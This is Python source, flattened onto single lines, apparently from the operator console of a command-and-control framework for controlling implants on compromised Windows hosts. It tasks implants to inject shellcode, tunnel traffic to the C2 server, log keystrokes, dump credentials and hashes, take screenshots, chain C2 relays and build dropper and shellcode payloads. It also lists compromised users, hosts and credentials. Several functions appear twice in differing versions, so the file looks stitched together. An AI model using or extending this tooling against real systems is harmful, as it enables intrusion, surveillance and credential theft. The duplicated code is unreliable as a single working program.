def do_migrate(user, command, randomuri): params = re.compile("migrate", re.IGNORECASE) params = params.sub("", command) implant = get_implantdetails(randomuri) implant_arch = implant.Arch implant_comms = implant.Pivot if implant_arch == "AMD64": arch = "64" else: arch = "86" if implant_comms == "C#": path = "%sSharp_v4_x%s_Shellcode.bin" % (PayloadsDirectory, arch) shellcodefile = load_file(path) elif "Daisy" in implant_comms: daisyname = input("Name required: ") path = "%s%sSharp_v4_x%s_Shellcode.bin" % (PayloadsDirectory, daisyname, arch) shellcodefile = load_file(path) elif "Proxy" in implant_comms: path = "%sProxySharp_v4_x%s_Shellcode.bin" % (PayloadsDirectory, arch) shellcodefile = load_file(path) new_task( "run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri)
def do_sharpsocks(user, command, randomuri): check_module_loaded("SharpSocks.ps1", randomuri, user) import string from random import choice allchar = string.ascii_letters channel = "".join(choice(allchar) for x in range(25)) sharpkey = gen_key().decode("utf-8") sharpurls = get_sharpurls() sharpurl = get_first_url(select_item("PayloadCommsHost", "C2Server"), select_item("DomainFrontHeader", "C2Server")) dfheader = get_first_dfheader(select_item("DomainFrontHeader", "C2Server")) implant = get_implantdetails(randomuri) pivot = implant.Pivot if pivot != "PS": sharpurl = input("Enter the URL for SharpSocks: ") print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN) ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ") if ri.lower() == "n": print("") if (ri == "") or (ri.lower() == "y"): taskcmd = "Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % ( sharpurl, channel, sharpkey, sharpurls) if dfheader: taskcmd += " -DomainFrontURL %s" % dfheader new_task(taskcmd, user, randomuri) update_label("SharpSocks", randomuri)
def do_migrate(user, command, randomuri): params = re.compile("migrate", re.IGNORECASE) params = params.sub("", command) implant = get_implantdetails(randomuri) implant_arch = implant.Arch implant_comms = implant.Pivot if implant_arch == "AMD64": arch = "64" else: arch = "86" if implant_comms == "PS": path = "%spayloads/Posh_v4_x%s_Shellcode.bin" % (PoshProjectDirectory, arch) shellcodefile = load_file(path) elif "Daisy" in implant_comms: daisyname = input("Name required: ") path = "%spayloads/%sPosh_v4_x%s_Shellcode.bin" % ( PoshProjectDirectory, daisyname, arch) shellcodefile = load_file(path) elif "Proxy" in implant_comms: path = "%spayloads/ProxyPosh_v4_x%s_Shellcode.bin" % ( PoshProjectDirectory, arch) shellcodefile = load_file(path) check_module_loaded("Inject-Shellcode.ps1", randomuri, user) new_task( "$Shellcode%s=\"%s\" #%s" % (arch, base64.b64encode(shellcodefile).decode("utf-8"), os.path.basename(path)), user, randomuri) new_task( "Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), user, randomuri)
def do_kill_implant(user, command, randomuri): impid = get_implantdetails(randomuri) ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID) if ri.lower() == "n": print("Implant not terminated") if ri == "" or ri.lower() == "y": pid = get_pid(randomuri) new_task("kill -9 %s" % pid, user, randomuri) kill_implant(randomuri)
def do_kill_implant(user, command, randomuri): impid = get_implantdetails(randomuri) print_bad("**OPSEC Warning** - kill-implant terminates the current threat not the entire process, if you want to kill the process use kill-process") ri = input("Are you sure you want to remove the implant ID %s? (Y/n) " % impid.ImplantID) if ri.lower() == "n": print("Implant not removed") if ri == "" or ri.lower() == "y": new_task("exit", user, randomuri) hide_implant(randomuri)
def do_kill_process(user, command, randomuri): impid = get_implantdetails(randomuri) print_bad("**OPSEC Warning** - kill-process will terminate the entire process, if you want to kill the thread only use kill-implant") ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID) if ri.lower() == "n": print("Implant not terminated") if ri == "" or ri.lower() == "y": pid = impid.PID new_task("get-process -id %s | kill" % (pid), user, randomuri) kill_implant(randomuri)
def do_tasks(user, command): alltasks = "" tasks = get_newtasks_all() if tasks is None: print_good("No tasks queued!\r\n") else: for task in tasks: imname = get_implantdetails(task.RandomURI) alltasks += f"[{imname.ImplantID}] : {imname.Domain}\\{imname.User} | {task.Command} : {task.TaskID}\r\n" print_good("Queued tasks:\r\n\r\n%s" % alltasks) input("Press Enter to continue...") clear()
def do_opsec(user, command): implants = get_implants_all() comtasks = get_tasks() hosts = "" uploads = "" urls = get_c2urls() urlformatted = "ID Name URL HostHeader ProxyURL ProxyUsername ProxyPassword CredentialExpiry\n" for i in urls: urlformatted += "%s %s %s %s %s %s %s %s \n" % ( i[0], i[1], i[2], i[3], i[4], i[5], i[6], i[7]) users = "" if implants: for implant in implants: if implant.Hostname not in hosts: hosts += "%s \n" % implant.Hostname if comtasks: for task in comtasks: implant = get_implantdetails(task[1]) command = task[2].lower() output = task[3].lower() if implant.User not in users: users += "%s\\%s @ %s\n" % (implant.Domain, implant.User, implant.Hostname) if "invoke-pbind" in command and "connected" in output: tg = re.search("(?<=-target )\\S*", str(command)) if tg[0] not in hosts: hosts += "%s \n" % tg[0] if "uploading file" in command: uploadedfile = command uploadedfile = uploadedfile.partition( "uploading file: ")[2].strip() filehash = uploadedfile.partition(" with md5sum:")[2].strip() uploadedfile = uploadedfile.partition( " with md5sum:")[0].strip() uploadedfile = uploadedfile.strip('"') uploads += "%s\t%s\t%s\n" % (implant.User, filehash, uploadedfile) if "installing persistence" in output: line = command.replace('\n', '') line = line.replace('\r', '') filenameuploaded = line.rstrip().split(":", 1)[1] uploads += "%s %s \n" % (implant.User, filenameuploaded) if "written scf file" in output: uploads += "%s %s \n" % (implant.User, output) creds, hashes = parse_creds(get_creds()) print_good( "\nUsers Compromised: \n%s\nHosts Compromised: \n%s\nURLs: \n%s\nFiles Uploaded: \n%s\nCredentials Compromised: \n%s\nHashes Compromised: \n%s" % (users, hosts, urlformatted, uploads, creds, hashes)) print_good("\nOpSec Events:") do_get_opsec_events(user, command)
def handle_pbind_command(command, user, randomuri, implant_id): # convert randomuri to parent randomuri oldrandomuri = randomuri p = get_implantdetails(randomuri) newimplant_id = re.search(r'(?<=\s)\S*', p.Label).group() if newimplant_id is not None: randomuri = get_randomuri(newimplant_id) # alias mapping for alias in cs_alias: if alias[0] == command[:len(command.rstrip())]: command = alias[1] # alias replace for alias in cs_replace: if command.startswith(alias[0]): command = command.replace(alias[0], alias[1]) original_command = command command = command.strip() run_autoloads_sharp(command, randomuri, user, isPBind=True) if command.startswith("searchhistory"): searchterm = (command).replace("searchhistory ", "") with open('%s/.implant-history' % PoshProjectDirectory) as hisfile: for line in hisfile: if searchterm in line.lower(): print(Colours.GREEN + line.replace("+","")) elif command.startswith("searchhelp"): searchterm = (command).replace("searchhelp ", "") helpful = sharp_help.split('\n') for line in helpful: if searchterm in line.lower(): print(Colours.GREEN + line) elif command.startswith("upload-file"): source = "" destination = "" if command == "upload-file": style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source except KeyboardInterrupt: return while not os.path.isfile(source): print("File does not exist: %s" % source) source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*")) source = PayloadsDirectory + source destination = session.prompt("Location to upload to: ") else: args = argp(command) source = args.source destination = args.destination try: destination = destination.replace("\\", "\\\\") print("") print("Uploading %s to %s" % (source, destination)) uploadcommand = f"upload-file {source} {destination}" new_task(f"pbind-command {uploadcommand}", user, randomuri) except Exception as e: print_bad("Error with source file: %s" % e) traceback.print_exc() elif command.startswith("unhide-implant"): unhide_implant(oldrandomuri) elif command.startswith("hide-implant"): kill_implant(oldrandomuri) elif command.startswith("inject-shellcode"): params = re.compile("inject-shellcode", re.IGNORECASE) params = params.sub("", command) style = Style.from_dict({ '': '#80d130', }) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin")) path = PayloadsDirectory + path except KeyboardInterrupt: return try: shellcodefile = load_file(path) if shellcodefile is not None: new_task("pbind-command run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri) except Exception as e: print("Error loading file: %s" % e) elif command.startswith("migrate"): params = re.compile("migrate", re.IGNORECASE) params = params.sub("", command) migrate(randomuri, user, params) elif command == "kill-implant" or command == "exit": impid = get_implantdetails(randomuri) ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID) if ri.lower() == "n": print("Implant not terminated") if ri == "" or ri.lower() == "y": new_task("pbind-kill", user, randomuri) kill_implant(oldrandomuri) elif command == "sharpsocks": from random import choice allchar = string.ascii_letters channel = "".join(choice(allchar) for x in range(25)) sharpkey = gen_key().decode("utf-8") sharpurls = get_sharpurls() sharpurls = sharpurls.split(",") sharpurl = select_item("HostnameIP", "C2Server") print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN) ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ") if ri.lower() == "n": print("") if ri == "": new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) if ri.lower() == "y": new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri) elif (command.startswith("stop-keystrokes")): new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) update_label("", randomuri) elif (command.startswith("start-keystrokes")): check_module_loaded("Logger.exe", randomuri, user) new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) update_label("KEYLOG", randomuri) elif (command.startswith("get-keystrokes")): new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri) elif (command.startswith("get-screenshotmulti")): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None and pwrStatus[7]): ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") if ri.lower() == "n" or ri.lower() == "": return new_task(f"pbind-command {command}", user, randomuri) update_label("SCREENSHOT", randomuri) elif (command.startswith("get-screenshot")): pwrStatus = get_powerstatusbyrandomuri(randomuri) if (pwrStatus is not None and pwrStatus[7]): ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ") if ri.lower() == "n" or ri.lower() == "": return new_task(f"pbind-command {command}", user, randomuri) elif (command == "get-powerstatus"): getpowerstatus(randomuri) new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) elif (command == "getpowerstatus"): getpowerstatus(randomuri) new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri) elif (command.startswith("stop-powerstatus")): new_task(f"pbind-command {command}", user, randomuri) update_label("", randomuri) elif (command.startswith("stoppowerstatus")): new_task(f"pbind-command {command}", user, randomuri) update_label("", randomuri) elif (command.startswith("pslo")): new_task(f"pbind-{command}", user, randomuri) elif (command.startswith("run-exe SharpWMI.Program")) and "execute" in command and "payload" not in command: style = Style.from_dict({'': '#80d130'}) session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style) try: path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64")) path = PayloadsDirectory + path except KeyboardInterrupt: return if os.path.isfile(path): with open(path, "r") as p: payload = p.read() new_task("pbind-command %s payload=%s" % (command,payload), user, randomuri) else: print_bad("Could not find file") elif (command.startswith("get-hash")): check_module_loaded("InternalMonologue.exe", randomuri, user) new_task("pbind-command run-exe InternalMonologue.Program InternalMonologue", user, randomuri) elif (command.startswith("safetykatz")): new_task("pbind-command run-exe SafetyKatz.Program %s" % command, user, randomuri) elif command.startswith("loadmoduleforce"): params = re.compile("loadmoduleforce ", re.IGNORECASE) params = params.sub("", command) new_task("pbind-loadmodule %s" % params, user, randomuri) elif command.startswith("loadmodule"): params = re.compile("loadmodule ", re.IGNORECASE) params = params.sub("", command) new_task("pbind-loadmodule %s" % params, user, randomuri) elif command.startswith("listmodules"): modules = os.listdir("%s/Modules/" % PoshInstallDirectory) modules = sorted(modules, key=lambda s: s.lower()) print("") print("[+] Available modules:") print("") for mod in modules: if (".exe" in mod) or (".dll" in mod): print(mod) elif command.startswith("modulesloaded"): ml = get_implantdetails(randomuri) print(ml.ModsLoaded) new_task("pbind-command listmodules", user, randomuri) elif command == "help" or command == "?": print(sharp_help) elif command.startswith("beacon") or command.startswith("set-beacon") or command.startswith("setbeacon"): new_sleep = command.replace('set-beacon ', '') new_sleep = new_sleep.replace('setbeacon ', '') new_sleep = new_sleep.replace('beacon ', '').strip() if not validate_sleep_time(new_sleep): print(Colours.RED) print("Invalid sleep command, please specify a time such as 50s, 10m or 1h") print(Colours.GREEN) else: new_task(f"pbind-command {command}", user, randomuri) else: if command: new_task(f"pbind-command {original_command}", user, randomuri) return
def do_startdaisy(user, command, randomuri): check_module_loaded("invoke-daisychain.ps1", randomuri, user) elevated = input(Colours.GREEN + "Are you elevated? Y/n " + Colours.END) domain_front = "" proxy_user = "" proxy_pass = "" proxy_url = "" cred_expiry = "" if elevated.lower() == "n": cont = input( Colours.RED + "Daisy from an unelevated context can only bind to localhost, continue? y/N " + Colours.END) if cont.lower() == "n" or cont == "": return bind_ip = "localhost" else: bind_ip = input(Colours.GREEN + "Bind IP on the daisy host: " + Colours.END) bind_port = input(Colours.GREEN + "Bind Port on the daisy host: " + Colours.END) firstdaisy = input(Colours.GREEN + "Is this the first daisy in the chain? Y/n? " + Colours.END) default_url = get_first_url(PayloadCommsHost, DomainFrontHeader) default_df_header = get_first_dfheader(DomainFrontHeader) if default_df_header == default_url: default_df_header = None if firstdaisy.lower() == "y" or firstdaisy == "": upstream_url = input(Colours.GREEN + f"C2 URL (leave blank for {default_url}): " + Colours.END) domain_front = input( Colours.GREEN + f"Domain front header (leave blank for {str(default_df_header)}): " + Colours.END) proxy_user = input( Colours.GREEN + "Proxy user (<domain>\\<username>, leave blank if none): " + Colours.END) proxy_pass = input(Colours.GREEN + "Proxy password (leave blank if none): " + Colours.END) proxy_url = input(Colours.GREEN + "Proxy URL (leave blank if none): " + Colours.END) cred_expiry = input( Colours.GREEN + "Password/Account Expiration Date: .e.g. 15/03/2018: ") if not upstream_url: upstream_url = default_url if not domain_front: if default_df_header: domain_front = default_df_header else: domain_front = "" else: upstream_daisy_host = input(Colours.GREEN + "Upstream daisy server: " + Colours.END) upstream_daisy_port = input(Colours.GREEN + "Upstream daisy port: " + Colours.END) upstream_url = f"http://{upstream_daisy_host}:{upstream_daisy_port}" command = f"invoke-daisychain -daisyserver http://{bind_ip} -port {bind_port} -c2server {upstream_url}" if domain_front: command = command + f" -domfront {domain_front}" if proxy_url: command = command + f" -proxyurl '{proxy_url}'" if proxy_user: command = command + f" -proxyuser '{proxy_user}'" if proxy_pass: command = command + f" -proxypassword '{proxy_pass}'" if elevated.lower() == "y" or elevated == "": firewall = input(Colours.GREEN + "Add firewall rule? (uses netsh.exe) y/N: ") if firewall.lower() == "n" or firewall == "": command = command + " -nofwrule" else: print_good( "Not elevated so binding to localhost and not adding firewall rule" ) command = command + " -localhost" urls = get_allurls() command = command + f" -urls '{urls}'" new_task(command, user, randomuri) update_label("DaisyHost", randomuri) createpayloads = input( Colours.GREEN + "Would you like to create payloads for this Daisy Server? Y/n ") if createpayloads.lower() == "y" or createpayloads == "": name = input(Colours.GREEN + "Enter a payload name: " + Colours.END) daisyhost = get_implantdetails(randomuri) proxynone = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}" C2 = get_c2server_all() urlId = new_urldetails(name, f"\"http://{bind_ip}:{bind_port}\"", "\"\"", proxy_url, proxy_user, proxy_pass, cred_expiry) newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, "%s?d" % get_newimplanturl(), PayloadsDirectory, URLID=urlId, PowerShellProxyCommand=proxynone) newPayload.PSDropper = (newPayload.PSDropper).replace( "$pid;%s" % (upstream_url), "$pid;%s@%s" % (daisyhost.User, daisyhost.Domain)) newPayload.CreateDroppers(name) newPayload.CreateRaw(name) newPayload.CreateDlls(name) newPayload.CreateShellcode(name) newPayload.CreateEXE(name) newPayload.CreateMsbuild(name) print_good("Created new %s daisy payloads" % name)
def do_modulesloaded(user, command, randomuri): ml = get_implantdetails(randomuri) print(ml.ModsLoaded)
def do_get_pid(user, command, randomuri): implant_details = get_implantdetails(randomuri) print(implant_details.PID)
def do_modulesloaded(user, command, randomuri): implant_details = get_implantdetails(randomuri) print(implant_details.ModsLoaded) new_task("listmodules", user, randomuri)